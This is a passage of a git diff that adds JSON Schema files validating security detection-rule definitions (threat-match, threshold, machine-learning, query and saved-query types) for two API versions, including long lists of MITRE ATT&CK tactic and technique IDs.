"array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.16/7.16.threshold.json b/etc/api_schemas/7.16/7.16.threshold.json new file mode 100644 index 000000000..e755b4616 --- /dev/null +++ b/etc/api_schemas/7.16/7.16.threshold.json @@ -0,0 +1,396 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.8/7.8.base.json b/etc/api_schemas/7.8/7.8.base.json new file mode 100644 index 000000000..099551624 --- /dev/null +++ b/etc/api_schemas/7.8/7.8.base.json @@ -0,0 +1,554 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + } + }, + "required": [ + "rule_id", + "description", + "name", + "risk_score", + "severity" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.8/7.8.machine_learning.json b/etc/api_schemas/7.8/7.8.machine_learning.json new file mode 100644 index 000000000..0b65815e3 --- /dev/null +++ b/etc/api_schemas/7.8/7.8.machine_learning.json @@ -0,0 +1,571 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "anomaly_threshold": { + "minimum": 0, + "type": "integer" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "machine_learning_job_id": { + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "machine_learning", + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "anomaly_threshold", + "machine_learning_job_id" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.8/7.8.query.json b/etc/api_schemas/7.8/7.8.query.json new file mode 100644 index 000000000..40b92fa39 --- /dev/null +++ b/etc/api_schemas/7.8/7.8.query.json @@ -0,0 +1,581 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "query", + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.8/7.8.saved_query.json b/etc/api_schemas/7.8/7.8.saved_query.json new file mode 100644 index 000000000..32ddb4cda --- /dev/null +++ b/etc/api_schemas/7.8/7.8.saved_query.json @@ -0,0 +1,572 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + 